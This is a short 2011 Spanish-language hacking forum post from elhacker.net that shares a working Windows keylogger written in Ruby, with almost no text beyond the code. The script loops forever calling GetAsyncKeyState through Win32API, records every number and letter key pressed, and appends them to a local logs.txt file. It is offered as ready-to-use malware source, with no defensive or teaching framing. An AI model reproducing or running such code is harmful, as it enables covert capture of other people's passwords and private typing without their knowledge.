Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: BigBear en 7 Octubre 2011, 01:30 am



Título: [Ruby] Simple Keylogger
Publicado por: BigBear en 7 Octubre 2011, 01:30 am
Un simple keylogger en Ruby


Código
  1. #!usr/bin/ruby
  2. #Simple Keylogger in Ruby
  3. #(C) Doddy Hackman 2011
  4.  
  5. require 'Win32API'
  6.  
  7. def savefile(filename,text)
  8. files = File.open(filename,'a')
  9. files.puts text+"\n"
  10. end
  11.  
  12. def capturar
  13.  
  14. nave = Win32API.new("user32","GetAsyncKeyState",["i"],"i")
  15.  
  16. while 1
  17.  
  18. for num1 in (0x30..0x39) #numbers
  19. if nave.call(num1) & 0x01 == 1
  20. savefile("logs.txt",num1.chr())
  21. end
  22. end
  23.  
  24. for num2 in (0x41..0x5A) #letters
  25. if nave.call(num2) & 0x01 == 1
  26. savefile("logs.txt",num2.chr())
  27. end
  28. end
  29. end
  30. end
  31.  
  32. capturar() #Start the keylogger
  33.  
  34. # ¿ The End ?
  35.